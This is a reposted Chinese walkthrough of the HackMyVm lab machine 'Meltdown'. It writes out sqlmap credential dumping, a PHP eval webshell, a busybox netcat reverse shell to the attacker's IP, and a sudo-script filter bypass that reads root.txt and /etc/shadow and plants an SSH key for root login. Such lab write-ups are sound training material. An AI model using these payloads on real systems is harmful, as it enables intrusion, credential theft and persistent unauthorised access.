文章总结: 文章详记HackMyVm靶机Meltdown的完整渗透流程:先借SQLmap爆破出数据库凭据rin:rin123登录后台,再利用profile页eval注入点写入system($_GET[ms0423])获取www-dataShell;转rin用户后,通过sudo可执行/opt/repeater.sh,利用tee与重定向绕过脚本对空格、符号与关键命令的过滤,直接读取/root/root.txt完成提权,并演示写入SSH公钥获root登录。全过程涵盖SQL注入、命令执行、Linux提权与输入过滤绕过技巧,适合练手。 综合评分: 82 文章分类: 渗透测试,红队,漏洞分析,安全工具,实战经验
,不过查找文件命令可以学学,后面提权的部分,考查了我们如何去绕过脚本里面所限制的内容,这个要具体问题具体分析

http://192.168.137.141/item.php?id=1
4.渗透测试
SQL注入爆破
那么,接下来,我们的思路就很清晰了,就是进行SQL注入爆破,然后登录页面即可
首先,我们进行测试,是不是真正存在SQL注入
sqlmap -u%20http://192.168.137.141/item.php?id=1 --batch
我们可以看到存在SQL注入,那么我们直接进行爆破即可,这里我就不一一写过程了,我把步骤写出来,还有最后的爆破结果写出来即可
测试%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20--batch爆破数据库%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20--dbs%20 --batch爆破表名%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20-D 'target' --tables%20 %20--batch爆破字段名%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20-D 'target' -T 'users' --columns%20 %20 --batch爆破数据库%20sqlmap%20-u%20http://192.168.137.141/item.php?id=1%20-D 'target' -T 'users' -C 'id,username,password' --dump%20 %20 %20--batch
爆破出来的数据库rin:rin123
我们进行登录即可
登录页面
我们可以看到登录成功
这里,我们只能对进入物品介绍管理面板进行修改,修改的页面就是我们前面存在SQL注入的页面
http://192.168.137.141/rin_profile.php
这个就是我们能修改的页面,我们可以看到是炉心的页面
我们修改的内容,在这里就会显示,我们可以随便修改试试看
修改页面
我们输入111111
11111111
我们可以看到页面是报错的,提示我们eval()函数执行的代码不完整%20/%20语法不闭合,导致%20PHP%20解析到代码末尾时,没找到必要的结束符号(比如大括号、引号、分号)。我们看到eval函数我们就可以想到命令执行漏洞,而且一般输入框不是命令执行漏洞就是xss漏洞和ssrf漏洞,这里已经提示我们eval,那么我们猜测就是命令执行漏洞。
如果想要页面正常显示,我们在前面添加echo函数就可以正常显示的
echo "1111111111";
我们可以看到页面显示正常了,
命令执行漏洞
既然,我们猜测是命令执行漏洞,那么我们可以先测试一下,我们写入phpinfo();,进行查看
一般我们写phpinfo();格式是这样的
<?php phpinfo();?>
但是我们在这里如果按照上面写的话,会提示我们尖括号没有闭合什么的,那么我们就直接不要尖括号和php,直接写里面的内容即可
phpinfo();
我们可以看到正常显示了
证明存在命令执行漏洞,那么我们就可以写入一句话木马的
我们有二种方法,一种是直接反弹shell,一种是先写入命令执行,然后在反弹的
1)写入命令执行
正常格式是这样的
<?php system($_GET['ms0423']);?>
但是这里的格式是这样的
system($_GET['ms0423']);
我们可以看到写入成功,那么我们就直接进行反弹即可
2)直接写入反弹命令
system('busybox%20nc 192.168.137.102 1234 -e%20bash');
记住写完之后,我们是要去点击这个页面的,不然的话是不成功的(看到转圈就是反弹成功的)
我们可以看到反弹成功的
查看user.txt
我们去家目录下,可以看到一个rin目录,但是我们是查看不了了的,因为我们现在是www-data用户,我们需要切换到rin用户下,我们需要知道密码,一般情况下,密码文件但是password.txt,或者是txt后缀名的,那么我们就直接去搜索.txt文件即可
find%20/%20-name '*.txt' 2>/dev/null
我们可以看到一个passwd文件,我们进行查看即可
我们可以看到是rin用户的密码,我们进行ssh登录即可
ssh登录
rin:b59a85af917afd07
我们可以看到登录成功,而且成功获取到user.txt,接下来,我们就是获取root权限了
查看root.txt
我们可以以root权限去运行/opt/repeater.sh脚本
首先,我们去查看一下这个脚本的内容
#!/bin/bash
main()%20{ %20 local user_input="$1"
%20 if echo "$user_input" |%20grep%20-qE '[;&|`$\\]'; then %20 %20 %20 echo "错误:输入包含非法字符" %20 %20 %20 return 1 %20 fi
%20 if echo "$user_input" |%20grep%20-qiE '(cat|ls|echo|rm|mv|cp|chmod)'; then %20 %20 %20 echo "错误:输入包含危险关键字" %20 %20 %20 return 1 %20 fi
%20 if echo "$user_input" |%20grep%20-qE '[[:space:]]'; then %20 %20 %20 if ! echo "$user_input" |%20grep%20-qE '^[a-zA-Z0-9]*[[:space:]]+[a-zA-Z0-9]*$'; then %20 %20 %20 %20 %20 echo "错误:空格使用受限" %20 %20 %20 %20 %20 return 1 %20 %20 %20 fi %20 fi
%20 echo "处理结果: $user_input"
%20 local sanitized_input=$(echo "$user_input" | tr -d '\n\r') %20 eval "output=\"$sanitized_input\"" %20 echo "最终输出: $output"}
if [ $# -ne%201%20]; then %20 echo "用法: $0 <输入内容>" %20 exit 1fi
main "$1"
脚本整体功能
这段%20Bash%20脚本的核心目的是接收一个用户输入字符串,对其进行多维度的安全校验(过滤非法字符、危险命令关键字、限制空格使用),校验通过后尝试执行该输入并输出结果。本质上是一个带有基础输入过滤的命令执行器,但存在严重的安全漏洞。
我们进行绕过进行
在双引号内,虽然$和反引号被过滤了,但我们可以:用%20”%20闭合前面的引号,注入命令——用%20#%20注释掉后面的内容
正确的利用方式:空格限制^[a-zA-Z0-9]*[[:space:]]+[a-zA-Z0-9]*$,意思是如果有空格,整个字符串必须是”字母数字%20字母数字”%20格式。
所以不用空格就能绕过!
方法一:直接去读取root.txt,这个也是我们经常使用的方法
sudo /opt/repeater.sh '"x<(tee</root/root.txt>/dev/stderr)"'
这条命令的意思是
tee是Linux%20基础命令,核心功能是「读取标准输入,同时写入文件%20+%20输出到标准输出]输出内容:>/dev/stderr是重定向,把 tee读取到的内容输出到「标准错误流(stderr)」:/dev/stderr:是%20Linux%20系统的%20“标准错误设备文件”,终端默认会显示这个流的内容;
作用:让%20tee%20读取%20/root/root.txt%20的内容
我们可以读取到root.txt.
方法二:读取root的密码
既然我们可以读取root.txt,我们试试能不能读取/etc/shadow,然后去爆破root的密码,事实上我们可以去读取的,但是爆破不出来密码的。
sudo /opt/repeater.sh '"x<(tee</etc/shadow>/dev/stderr)"'
方法三:读取私钥
sudo /opt/repeater.sh '"x<(tee</root/.ssh/id_ed25519>/dev/stderr)"'
没有成功,告诉我们没有这个文件或者是目录,所以我们是没有办法利用的。
既然没有私钥和公钥,那么我们可以去上传我们自己的公钥,然后去登录root的,我们可以试试看
首先,我们不管它有没有.ssh目录,我们直接去创建一个
sudo /opt/repeater.sh '"x<(mkdir/root/.ssh/>/dev/stderr)"'
写入我们的公钥到靶机里面
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC2/Ht52dHxnOjNCFyfxisz/P6IB8VBwy6MfdVANXPx4wCBujG+cZKn031NyGUm8TVlW5PwRZ4Z4D4Z2rF3jlBbpyBmNWa6aA1bYMWVHiK5n9I4kURDwZ3IOitpH2Fq7UW800hsfqgP+g6s/8npTtlY2wT50RfECRj0CdJdZfcyeYLDdRpXYHGJ/qJdFvcPOBCHihHvng4YQFQ0u/ZVlORdv7K4XQGXX+VWLidxyoQ1AJ0ZHR5q7wsW9yKFwg1tuLghIdgDDZWH/CwEdprrg2Jo+mJygypZ+UJwgdac1XtR3A6FPhBBOHf98I+0cKhgdwd2aWGhRqQoD6QTbC2nzexU0W+BdFmLUPv3iFsWqZOX/LPifT6gRkRQga8Y/1Q9m4jv9dQcAEhMe1T2PK5IAp7MjGCr4SuG5DsEcq1qG0RLAgPSu3cFThwjKz8cL5Zllc6Xbs3xx83jOk4UWR27qr5R1f1VWBhqWfTlZmpGN9P6LUt2PhRuo9xS07DrD05Tc+Bum62pYJN+9QCSxthDkj6Jmq84KYPlNI5qAWVWkM3wUtMg88Cqpk+tdyzMoT4IHhvkBiDzYLyad32ShuOvRRBcrqC2vGFk5b3i/gfpaEHmIXu9rc++Potwl8E4J82o21gPjKbW5sRzETPSwy7qq8gZn6NpiL7EpTB9ty9nyGx0CQ== root@kali' > /tmp/authorized_keys
复制到/root/.ssh/目录下
这里我们经常使用的cp是过滤的,我们使用dd进行复制
一、dd 命令的核心定位dd是Linux中功能极强的数据复制/转换工具,全称是“Data Duplicator”,核心特点是:可以按 “块” 复制数据,支持原始设备(如硬盘、分区、内存)的读写;支持数据格式转换(如大小写、编码);权限足够时,能读取 / 写入普通命令无法访问的敏感文件 / 设备(这也是在提权场景中常用的原因)。二、基础语法dd[选项]
dd也可以去读取文件的dd if=/root/root.txt,但是空格我们只能使用一次,所以这里我们是没有办法使用的,如果我们直接使用ddif的话,是读取不了的。
我们可以看到是复制成功的,我们可以去读取验证一下
那么,我们直接去登录试试看(前提条件是root用户可以登录ssh),我们可以看到root用户是可以登录的。
sudo /opt/repeater.sh '"x<(tee</etc/ssh/sshd_config>/dev/stderr)"'
我们可以看到登录成功的
至此,这个靶场渗透测试成功。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423 MS02423《HackMyVm靶场之Meltdown》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。











评论